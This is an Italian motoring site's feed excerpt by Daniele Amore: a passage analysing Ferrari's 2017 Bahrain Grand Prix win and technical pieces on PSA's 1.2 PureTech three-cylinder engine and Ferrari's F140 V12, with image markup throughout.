<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-66945" src="https://www.giornalemotori.com/wp-content/uploads//2017/04/velocità-max-per-settori-300x300.jpeg" alt="velocità max per settori" width="300" height="300" title="F1 | Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari 878" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/04/velocità-max-per-settori-300x300.jpeg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/04/velocità-max-per-settori-150x150.jpeg 150w, https://www.giornalemotori.com/wp-content/uploads/2017/04/velocità-max-per-settori.jpeg 500w" sizes="(max-width: 300px) 100vw, 300px" />Del resto basta guardare come anche la velocità di uscita di una vettura che non brilla per carico aerodinamico come la Williams di Massa era più veloce al T2. Poi c&#8217;è il discorso Ferrari. Abbiamo ipotizzato di una SAF70H scarica. Il T2 del Barhain è composto, se lo si scompone di diversi sotto-settori, in un tratto lento iniziale che termina nella strana curva 10, un rettilineo, e due curve medio veloci in uscita prima della speed trap T2. In questo settore Vettel era uno dei più lenti. Una monoposto che ha molto carico,  come supposto da molti addetti ai lavori non potrebbe essere così lenta anche considerando una giornataccia del tedesco. Inoltre la velocità all&#8217;uscita della curva 12 molto veloce in appoggio era di quasi 6 km/h più lenta dovuta a due motivi. Una è la mancanza di carico che non permette di recuperare velocità in appoggio alla curva 12, oppure avendo meno carico si deve anticipare la frenata della immediata curva 13 cosa che ha lamentato Raikkonen quando ha sofferto di sottosterzo proprio in inserimento di queste curve finali. Infine se si guarda bene la configurazione dell&#8217;ala della Ferrari ha una forma piatta con un profilo superiore meno verticale della Mercedes. La W08 aveva la forma a cucchiaio, classica, che genera per sua forma più carico che la piatta della Ferrari. Di contro si può verificare come invece le velocità di punta erano simili tra le due monoposto, ma soprattutto come la Ferrari una volta arrivata a maturare la velocità sul traguardo, continuasse ad aumentare fino a raggiungere il valore della Mercedes, cosa che in gara ha consentito a Raikkonen di sopravanzare una monoposto veloce come la Williams.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-66954" src="https://www.giornalemotori.com/wp-content/uploads//2017/04/ali--300x300.jpeg" alt="ali" width="300" height="300" title="F1 | Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari 879" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/04/ali--300x300.jpeg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/04/ali--150x150.jpeg 150w, https://www.giornalemotori.com/wp-content/uploads/2017/04/ali-.jpeg 500w" sizes="(max-width: 300px) 100vw, 300px" />  La SF70H in sostanza ha dimostrato oltre ogni ragionevole dubbio di avere un equilibrio meccanico tale da consentire di viaggiare più scarica senza sacrificare troppo un tratto fondamentale e lento come il T2 ma soprattutto senza provocare un usura pneumatici tale da essere dannosa sul passo gara. Unica deroga al discorso fatto fino a questo momento è la prestazione di Raikkonen in qualifica. Il finlandese era più veloce di Vettel nel T2 la punto da far pensare ad un set up differenziato della sua Ferrari, ma potrebbe essere,  come per Bottas,  un semplice adattamento migliore a determinate condizioni del tracciato, per poi andare in difficoltà molto più evidenti in altre zone e pagare in negativo sul computo del giro totale.  E&#8217; sempre molto complesso analizzare le prestazioni del campione del mondo 2007.</p>
<p style="text-align: justify;"> <img decoding="async" class="alignleft size-medium wp-image-66947" src="https://www.giornalemotori.com/wp-content/uploads//2017/04/settori-gara-300x300.jpeg" alt="settori gara" width="300" height="300" title="F1 | Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari 880" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/04/settori-gara-300x300.jpeg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/04/settori-gara-150x150.jpeg 150w, https://www.giornalemotori.com/wp-content/uploads/2017/04/settori-gara.jpeg 500w" sizes="(max-width: 300px) 100vw, 300px" />Come abbiamo anticipato valuteremo la gara dividendola in tre sezioni, che una volta messe in correlazione forniranno all&#8217;appassionato una visione si spera chiara di quello che è accaduto nel Gran Premio del Barhain. La partenza. Bottas parte bene, Vettel parte meglio, Hamilton parte male, Raikkonen  meglio stendere un velo pietoso. In definitiva possiamo dire senza dubbio che la partenza di Vettel,  con il superamento di Hamilton,  dopo il breve corpo a corpo prima della curva 1,  ha portato al tedesco più della metà dell&#8217;affermazione finale. Vettel con quella mossa si è messo in pressione su Bottas, il quale dopo pochi giri già non aveva il ritmo sufficiente per creare un gap anche con pista libera. Le gomme rosse con cui la Mercedes è partita non funzionavano. Non avevano il grip, ma soprattutto si consumavano troppo rapidamente anche portando un passo più lento, riprova è il fatto che nella prima parte di gara le RedBull erano le ultime del trenino di testa senza problemi. Un usura che costringe la Mercedes a dare più carico aerodinamico, facendo leva sulla potenza della sua power unit per compensare, ma che aumenta la difficoltà a stare in scia con la monoposto che precede.  Dal canto suo Vettel aveva il passo migliore delle frecce d&#8217;argento,  ma per il discorso fatto per le qualifiche riusciva a stare incollato a Bottas fino alla curva 10 anche senza carico aerodinamico, mentre perdeva il contatto dopo la fine del T2  per effetto della diversa velocità di uscita alla curva 12, non potendo portare l&#8217;attacco sul rettilineo finale. I più attenti avranno notato, dai camera car,  la vicinanza della Ferrari negli scarichi della Mercedes alla curva 10 mentre sul traguardo era esattamente equidistante tra le due Mercedes.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-66948" src="https://www.giornalemotori.com/wp-content/uploads//2017/04/permanenza-in-corsia-box-300x300.jpeg" alt="permanenza in corsia box" width="300" height="300" title="F1 | Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari 881" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/04/permanenza-in-corsia-box-300x300.jpeg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/04/permanenza-in-corsia-box-150x150.jpeg 150w, https://www.giornalemotori.com/wp-content/uploads/2017/04/permanenza-in-corsia-box.jpeg 500w" sizes="(max-width: 300px) 100vw, 300px" />Da qui la mossa saggia ed azzardata al tempo stesso di Rueda anticipando la sosta. A dispetto di quando successo in Australia con la Mercedes, lo stratega della Ferrari poteva contare su una monoposto che non ha problemi di aderenza se perde aria, in più avendo un set up più scarico il problema si sarebbe manifestato ancora meno rispetto alla Mercedes in netta difficoltà con Hamilton ad inseguire Vettel già dopo il giro 9 tanto da consentire l&#8217;avvicinamento delle due RedBull. Con una sosta così anticipata, montare gli pneumatici gialli, scelta logica, non sarebbe stata la più azzeccata. Rueda sapeva benissimo che la gara era lunga per portarla a termine con la mescola più dura, quindi tanto valeva provare a fare uno stint intermedio con le gomme rosse per tentare di prendere un vantaggio, fruttando poi le gomme gialle sul finale più fresche che la Mercedes.  La seconda parte di gara è stata contraddistinta dalla safety car provocata dallo scellerato contatto tra Sainz ed il quasi incolpevole Stroll. Una condizione che ha costretto la Mercedes a correre ai ripari sfruttando la finestra di rallentamento della corsa come successo in Cina. In questa situazione però la Ferrari di Vettel non era costretta al passaggio nei box, quindi anche se con poco vantaggio la Rossa è passata al comando mentre le Frecce d&#8217;argento si fermavano.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-66949" src="https://www.giornalemotori.com/wp-content/uploads//2017/04/passo-gara-1-300x215.jpeg" alt="passo gara 1" width="300" height="215" title="F1 | Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari 882">Al box Mercedes hanno provato a fare due soste insieme, Hamilton sapeva benissimo che fermandosi con la piazzola occupata, avrebbe perso la posizione su Ricciardo. Quindi ha pensato bene di usare una tattica maldestra e particolarmente evidente per stoppare l&#8217;australiano. Il risultato è stata comunque la perdita della posizione ma soprattutto la maturazione di 5 secondi di penalità.  Alla Ripartenza la Ferrari di Vettel prova a creare un distacco forzando al massimo sulle gomme Rosse. Cosa che gli consente alla seconda sosta di tornare davanti a Ricciardo, un vantaggio di non poco conto. La Mercedes,  che aveva seguito la Ferrari con Bottas nella stessa tattica,  si rende conto immediatamente che anche volendo portare il ritmo imposto dal tedesco, avrebbe portato ad usura precoce le coperture Rosse. Anche volendo credere alla storia delle pressioni non adatte lamentate da Bottas e confermate da Wolff, appare comunque evidente che l&#8217;equilibrio cinematico delle sospensioni della W08 non consente di usare al meglio le coperture più morbide. La logica conseguenza è la cessione della testa per consentire la rincorsa ad Hamilton.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-66950" src="https://www.giornalemotori.com/wp-content/uploads//2017/04/velocità-max-per-settori-in-gara-300x300.jpeg" alt="velocità max per settori in gara" width="300" height="300" title="F1 | Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari 883" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/04/velocità-max-per-settori-in-gara-300x300.jpeg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/04/velocità-max-per-settori-in-gara-150x150.jpeg 150w, https://www.giornalemotori.com/wp-content/uploads/2017/04/velocità-max-per-settori-in-gara.jpeg 500w" sizes="(max-width: 300px) 100vw, 300px" />Togliere la W08 del finlandese davanti appena giunto il britannico alle spalle, è la diretta conseguenza del fatto che in scia avrebbero distrutto anche le gialle di Hamilton. Non c&#8217;era verso,  il team radio era obbligato dalla condizione di gara. La partita si giocava tra Vettel che nel frattempo si fermava per mettere le gomme obbligatorie per regolamento, le gialle, ed Hamilton che prova a recuperare sfruttando al massimo le sue coperture. Curioso come il britannico, non abbia compreso, mostrando una certa sorpresa, il motivo per cui alla sua seconda sosta a 20 giri circa dalla fine della gara, il team non abbia montato le gomme Rosse, ma di nuovo le gialle. Erano semplicemente le uniche che avrebbero garantito un ritmo più forte della Ferrari, il che mostra una diversa percezione tattica di quello che accade alla monoposto tra Vettel ed Hamilton.  A questo punto la vittoria era solo nelle mani di Vettel. Il tedesco doveva portare un passo di gara tale da consentire il recupero di Hamilton conservando sufficientemente competitività ai suoi pneumatici per affrontare un corpo a corpo finale a parità di usura. Come si vede nel passo gara generale che contempla tutto il Gp i due rivali non sono molto lontani, segno che Vettel nel finale aveva un passo simile alla Mercedes tanto da frenare l&#8217;emorragia di secondi persi attestandosi a 8 nel finale.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-66951" src="https://www.giornalemotori.com/wp-content/uploads//2017/04/giro-veloce-in-gara-2-300x207.jpeg" alt="giro veloce in gara 2" width="300" height="207" title="F1 | Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari 884">Inoltre il tempo migliore nel best lap di un secondo di Hamilton rispetto a Vettel, era praticamente sistematico e regolare. La velocità massima di Vettel in gara era più bassa, non per una mancanza di potenza o di sfruttamento del motore, ma per un minore stress delle gomme nelle curve prima dei rettilinei importanti, nell&#8217;ottica di preservarle nel finale. In definitiva Vettel ha amministrato il vantaggio. Una condizione nuova per la Ferrari.  Il passo gara della Ferrari poteva anche essere all&#8217;altezza della Mercedes per il fatto che Raikkonen nel finale era più veloce del compagno, in recupero sulla Mercedes di Bottas a parità di gomma. Una menzione per le Red Bull. Anche i bititari avevano deciso di andare scarichi di assetto arerodinamico in qualifica, cosa che ha pagato avvicinandosi ai primi, ma in gara è stato efficacie solo finchè la Ferrari e la Mercedes hanno giocato con la tattica ad inizio gara. Dopo la safety car una volta libere di lottare le prime due monoposto comprese le seconde guida hanno decisamente lasciato per strada la Red Bull che ha mostrato tutti i suoi limiti di telaio, ed aerodinamica oltre che di affidabilità nelle componenti accessorie come i freni.</p>
<p style="text-align: justify;"><strong>Daniele Amore</strong></p>
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<a href="https://www.giornalemotori.com/2017/04/20/f1-bahrain-debriefing-vettel-ferrari/confronto-qualifica-qualifica-teorica/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2017/04/confronto-qualifica-qualifica-teorica-150x150.jpeg" class="attachment-thumbnail size-thumbnail" alt="confronto qualifica qualifica teorica" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/04/confronto-qualifica-qualifica-teorica-150x150.jpeg 150w, https://www.giornalemotori.com/wp-content/uploads/2017/04/confronto-qualifica-qualifica-teorica-300x300.jpeg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/04/confronto-qualifica-qualifica-teorica.jpeg 500w" sizes="(max-width: 150px) 100vw, 150px" title="F1 | Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari 885"></a>
<a href="https://www.giornalemotori.com/2017/04/20/f1-bahrain-debriefing-vettel-ferrari/velocita-speed-trap-in-qualifica/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2017/04/velocita-speed-trap-in-qualifica-150x150.jpeg" class="attachment-thumbnail size-thumbnail" alt="velocita speed trap in qualifica" title="F1 | Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari 886"></a>
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		<title>Best Engine &#124; PSA 1,2 litri PureTech</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 12 Mar 2017 11:17:38 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>ora è il momento di scoprire la concezione del gruppo PSA di questo tipo di motore con il 1.2 litri PureTech. Si tratta di un motore composto da monoblocco di alluminio con canne in ghisa integrate. </p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-66121" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/pure-tech-engine-turbocharged-variants.115482.19-300x225.jpg" alt="pure tech engine turbocharged variants.115482.19" width="300" height="225" title="Best Engine | PSA 1,2 litri PureTech 887">Il motore tre cilindri, è un tipo di frazionamento che si sta diffondendo nei listini di tutti i produttori a tutti i livelli, almeno per le piccole e media cilindrate. Facile da ottenere dal punto di vista dei costi industriali e dopo aver mostrato le potenzialità del tre cilindri Ford 1.0 Turbo Ecoboost, ora è il momento di scoprire la concezione del gruppo PSA di questo tipo di motore con il 1.2 litri PureTech. Si tratta di un motore composto da monoblocco di alluminio con canne in ghisa integrate.  Una soluzione quella dell&#8217;alluminio per consentire un più rapido riscaldamento del motore, senza contare i vantaggi della riduzione di peso a fronte della medesima resa meccanica della ghisa.  La cilindrata di 1.2 litri è dovuta al fatto che secondo i tecnici PSA era importante avere una cilindrata unitaria di 400cc per una configurazione ottimale della camera di combustione più efficiente. La camera di combustione è stata disegnata con una particolare attenzione all&#8217;aerodinamica del flusso interno con la <span class="goog-text-highlight">posizione dell&#8217;iniettore ottimizzata studiando la nebulizzazione del carburante e la velocità di propagazione del flusso con una frequenza fino a tre iniezioni per ciclo di combustione fruttando la pressione fino a 200 bar. </span></p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-66122" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/Carbon-Deposits-Main-Art-300x184.jpg" alt="Carbon Deposits Main Art" width="300" height="184" title="Best Engine | PSA 1,2 litri PureTech 888">Il sistema della sovralimentazione usa<span class="goog-text-highlight"> una nuova generazione di turbo ad alto rendimento che può arrivare a toccare i 240,000 giri per la girante. Un sistema che consente di ridurre il ritardo del turbo con una maggiore efficienza.  </span>Questo propulsore,  secondo i dati dichiarati da PSA offre per una Peugeot  308 con analoga motorizzazione quattro 1,6 litri VTi / THP, il  21%  di risparmio di carburante giovando anche del minor peso del propulsore.   Così come per il concorrente della Ford, anche i tecnici PSA hanno lavorato molto sull&#8217;attrito di componenti come la pompa controllata elettronicamente per fornire la quantità ottimale di lubrificazione con l&#8217;attrito di questo componente ridotto del 30%. La cura per le lavorazioni meccaniche di tutte le parti mobili ha permesso di ridurre le perdite per attrito del 20%, soprattutto stringendo le tolleranze di costruzione per il dimensionamento dell&#8217;albero motore, utilizzando un tipo di rivestimento superficiale  per gli spinotti, fasce ed anelli di tenuta per ridurre gli attriti.</p>
<p style="text-align: justify">Infine questo tre cilindri utilizza una cinghia per la trasmissione di tipo lubrificato per la riduzione dell&#8217;assorbimento di potenza.   <img decoding="async" class="alignleft size-medium wp-image-66123" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/Sample-Slide_PSAeb2-e1471619060229-300x208.png" alt="Sample Slide PSAeb2 e1471619060229" width="300" height="208" title="Best Engine | PSA 1,2 litri PureTech 889">In definitiva questo motore tre cilindri per sua stessa natura con cilindro meno rispetto alle analoghe versione a quattro cilindri,   ha una quantità di attriti inferiore con una perdita di potenza ridotta fino al 25%  non solo per effetto dell&#8217;attrito del pistone in meno, ma anche per la maggiore efficienza per un condotto di alimentazione in meno,  con minori perdite di pompaggio e di riempimento. Ottimizzato anche l&#8217;impianto di raffreddamento che prevede negli avviamenti a freddo la circolazione del liquido contenuta consentendo al motore di riscaldarsi prima raggiungendo la temperatura di esercizio più rapidamente migliorando l&#8217;efficienza per una riduzione del consumo di carburante, condizione che consente il raggiungimento più rapido delle condizioni di funzionamento per il rispetto delle severe norme Euro6. Quando viene raggiunta la temperatura ottimale il sistema ripristina la normale circolazione del refrigerante per tenere a regime il propulsore.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-66124" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/750x423-citroen-c3-pure-tech.101653-300x169.jpg" alt="750x423 citroen c3 pure tech.101653" width="300" height="169" title="Best Engine | PSA 1,2 litri PureTech 890">Come molti sanno il tre cilindri oltre a tutti in vantaggi spiegati, ha come contropartita le maggiori vibrazioni. I tecnici PSA hanno ovviato a questa problematica lavorando sul bilanciamento del volano compensando le vibrazioni ottenendo così un funzionamento fluido e silenzioso.  Il bilanciamento delle vibrazioni produce benfici anche dal punto di vista sonoro. Come abbiamo potuto provare quando abbiamo testato sia la versione aspirata da 60cv sulla Citroen C1, (https://www.giornalemotori.com/2016/06/20/citroen-c1-airscope/ ) che la turbo con la  208 1.2 PureTech turbo da 85cv, (<a href="https://www.giornalemotori.com/2016/04/10/peugeot-208-pure-tech-gt-line/">https://www.giornalemotori.com/2016/04/10/peugeot-208-pure-tech-gt-line/</a> ) questo<span class="goog-text-highlight"> motore a tre cilindri ha una tonalità sonora diversa dalle altre unità analoghe conservando un buon carattere ed una certa </span>personalità. Il motore è contraddistinto da un&#8217; erogazione di coppia disponibile al 95% fin dai 1,50o giri/minuto e costante fino ai 3,500 giri, molto simile a quella di un motore diesel.</p>
<p style="text-align: justify">Oggi il motore PureTech dispone di diversi livelli di potenza per tutte le esigenze di ogni modelli della produzione Citroen, DS e Peugeot. Si inizia dal piccolo  1.0 litri VTi 68cv,  il 1.2 litri VTi 82cv, , la versione  1.2 litri e-VTi 82 con funzione EGC stop-start,  1.2 litri e-THP 110  stop-start,  1.2 litri e-THP 130cv con cambio a 6 marce ed automatico 6AT con stop-start.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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		<title>Best Engine &#124; Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 05 Mar 2017 15:18:54 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>In un mondo dove ogni costruttore sta cedendo alle lusinghe del turbo e della riduzione di numero di cilindri la Ferrari continua a credere nella motorizzazione aspirata evolvendo il suo motore contraddistinto dalla sigla F140.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2017/03/05/best-engine-ferrari-f140-aspirato/">Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><span class="goog-text-highlight">In un mondo dove ogni costruttore sta cedendo alle lusinghe del turbo e della riduzione di numero di cilindri la Ferrari continua a credere nella motorizzazione aspirata evolvendo il suo motore contraddistinto dalla sigla&nbsp;</span><span class="goog-text-highlight">F140. Un motore V12 aspirato nato per raccogliere la difficile eredità del vecchio leggendario F133. Nato per equipaggiare la Ferrari Enzo nel 2002 nella sua prima versione l&#8217;F140 è un V12 con angolo tra le bancate di</span><b><span class="goog-text-highlight">&nbsp;</span></b><span class="goog-text-highlight">&nbsp;65 gradi, diffuso anche per la produzione Maserati per la sua Ipercar MC12 con la cui versione da corsa ha vinto il titolo di campione del mondo GT per più anni. &nbsp;</span><span class="goog-text-highlight">&nbsp;</span>Il motore nasce con una cilindrata di 5998 cc, ottenuto con un alesaggio di 92 mm ed una corsa di 75.2 mm. Il monoblocco e la testa sono ottenute con fusione di lega di alluminio con canne riportate in Nicasil. La testa ha quattro valvole per cilindro con doppio albero in testa per bancata, comandata con distribuzione a catena. Nella versione arrivata ad equipaggiare la Enzo, &nbsp;F140B, erogava 660cv &nbsp;a 7800 giri/min, con la zona rossa del contagiri posta ad un limite di 8200 giri/min, ed una coppia di&nbsp;657 Nm a&nbsp;<span class="nowrap">5500 giri/min. &nbsp;Valore &nbsp;che lo rende già nella sua prima versione il motore con la più alta potenza per litro disponibile per una vettura di serie per l&#8217;epoca. &nbsp;Il rapporto di compressione ha il valore di 11,2:1 ed è dotato di variatore di fase sia all&#8217;aspirazione che allo scarico. Per migliorare la risposta all&#8217;azione dell&#8217;acceleratore la Ferrari adotta per questo motore bielle in Titanio sfruttando al massimo l&#8217;esperienza maturata in Formula 1 con la lavorazione certosina delle geometrie dei condotti di aspirazione con tromboncini ad altezza variabile, il tutto comandato da una centralina elettronica per l&#8217;alimentazione&nbsp;Bosch Motronic ME7. Infine per i più nostalgici la cilindrata unitaria, valore che segnava i modelli nel passato della casa del Cavallino è di 499cc.&nbsp;</span></p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/02d175e69cc66dc44365ffec3fb86af4.jpg" alt="02d175e69cc66dc44365ffec3fb86af4" class="wp-image-65957" title="Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 891"></figure>



<p class="wp-block-paragraph">I migliori motori della storia Ferrari come i suoi V12, &nbsp;con diverse specifiche e livelli di potenza andavano ad equipaggiare le varie versioni delle vetture di Maranello. &nbsp;Come dimenticare le leggendaria serie 250 in molteplici versioni fino al suo apice con la 250GTO. Anche nel caso dell&#8217;F140, la Ferrari ha utilizzato questo propulsore per vari modelli diversificandolo per la lettera successiva ai numeri nella sigla. Nella versione 6.0 litri ci sono state la F140C e CE la prima destinata alla 599 GTB con potenza ridotta a 620cv e coppia per 608Nm, e la seconda destinata alla più estrema 599 GTO dove la potenza viene portata al suo massimo con 670cv ma con un valore di coppia inferiore rispetto alla Enzo di 620Nm ad un numero di giri superiore di 6500 giri/min, cosa che indica come i tecnici di Maranello per la versione estrema, &nbsp;abbiano sacrificato l&#8217;elasticità per avere una maggiore cattiveria di erogazione. Con questa cubatura la sua versione estrema è andata ad equipaggiare la 599XX ed Evo con potenza massima di 740cv non omologata per la strada.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/015_001.gif" alt="015 001" class="wp-image-65958" title="Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 892"></figure>



<p class="wp-block-paragraph">Successivamente la famiglia F140 si evolve e per farlo i tecnici Ferrari sono intervenuti sulla cilindrata portandola a 6262cc, con un alesaggio portato a 94 mm con la corsa invariata a 75.2 mm. Questa evoluzione portava la versione base F140EB a 660cv ad 8000 giri/min per un valore di coppia aumentato a 682Nm a 6000 giri/min. Motore che è andato ad equipaggiare una vettura votata al lusso come la Ferrari FF. Un punto di partenza che ha consentito di poter progredire con la versione F140FC &nbsp;per la Ferrari F12 e successive F12tdf, e GTC4Lusso con potenze che vanno di 680cv a 740cv &nbsp;e coppia da 690Nm a 705cv Da notare che con la nuova cubatura si è riusciti ad ottenere la stessa potenza della vecchia cilindrata riservata alla versioni estrema ma con omologazione stradale rispettando le norme. &nbsp; La versatilità di questa unità propulsiva lo ha reso compatibile con la prima powertrain ibrido di Maranello. La F140DE mostra tutto il suo potenziale raggiungendo per la parte endotermica il valore di 800cv per una coppia di 700Nm a cui veniva aggiunta la potenza del motore elettrico. Anche con la cilindrata portata a 6.3 litri ci sono stare versioni estreme dedicate a modelli speciali come la Fxx, ed Evoluzione, ed infine Fxx-K dalla potenza mostruosa di 860cv a cui va aggiunta la potenza fornita dal sistema Kers direttamente derivato dalle Formula 1 fino al 2014.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/015_003.gif" alt="015 003" class="wp-image-65959" title="Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 893"></figure>



<p class="wp-block-paragraph">Oggi questa motorizzazione è ulteriormente cresciuta nella cilindrata portata a 6496cc, restando invariato l&#8217;alesaggio a 94mm ma aumentando la corsa a 78mm con la potenza analoga alla massima evoluzione della versione precedente di 800cv a 8500 giri/min per una coppia di 718Nm a 7800 giri. Conoscendo le enormi possibilità offerte da quello che appare come il migliore motore V12 della storia, possiamo affermare che ad oggi, &nbsp;questo propulsore sia ancora lungi da aver mostrato tutto del suo potenziale. &nbsp;In ultimo non bisogna dimenticare che questa motorizzazione è campione del mondo GT con la Maserati MC12 GT1, vettura soggetta a varie restrizioni della flangia si aspirazione nel tentativo di ridurne il potenziale fino al cambio radicale di regolamento che ha visto l&#8217;avvento delle moderne GT3. &nbsp;Di questa famiglia di motori F140, ci saranno altre evoluzioni, con potenze e coppia ulteriormente alzate, magari maggiormente integrate a sistemi di powertrain ibridi, ultimo baluardo difesa della motorizzazione aspirata nel mondo.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>



<figure class="wp-block-gallery has-nested-images columns-3 is-cropped wp-block-gallery-4 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="692" data-id="65960" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/ferrari_enzo_cut-away_02.jpg" alt="ferrari enzo cut away 02" class="wp-image-65960" title="Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 894" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/03/ferrari_enzo_cut-away_02.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2017/03/ferrari_enzo_cut-away_02-1024x624.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2017/03/ferrari_enzo_cut-away_02-768x468.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2017/03/ferrari_enzo_cut-away_02-300x183.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/03/ferrari_enzo_cut-away_02-696x424.jpg 696w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 900</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="757" data-id="65961" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/Ferrari_Museum_Italy_08.jpg" alt="Ferrari Museum Italy 08" class="wp-image-65961" title="Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 895" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari_Museum_Italy_08.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari_Museum_Italy_08-1024x682.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari_Museum_Italy_08-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari_Museum_Italy_08-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari_Museum_Italy_08-696x464.jpg 696w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 901</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="852" data-id="65962" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/Ferrari_Museum_Italy_09.jpg" alt="Ferrari Museum Italy 09" class="wp-image-65962" title="Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 896" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari_Museum_Italy_09.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari_Museum_Italy_09-1024x768.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari_Museum_Italy_09-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari_Museum_Italy_09-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari_Museum_Italy_09-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari_Museum_Italy_09-265x198.jpg 265w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 902</figcaption></figure>



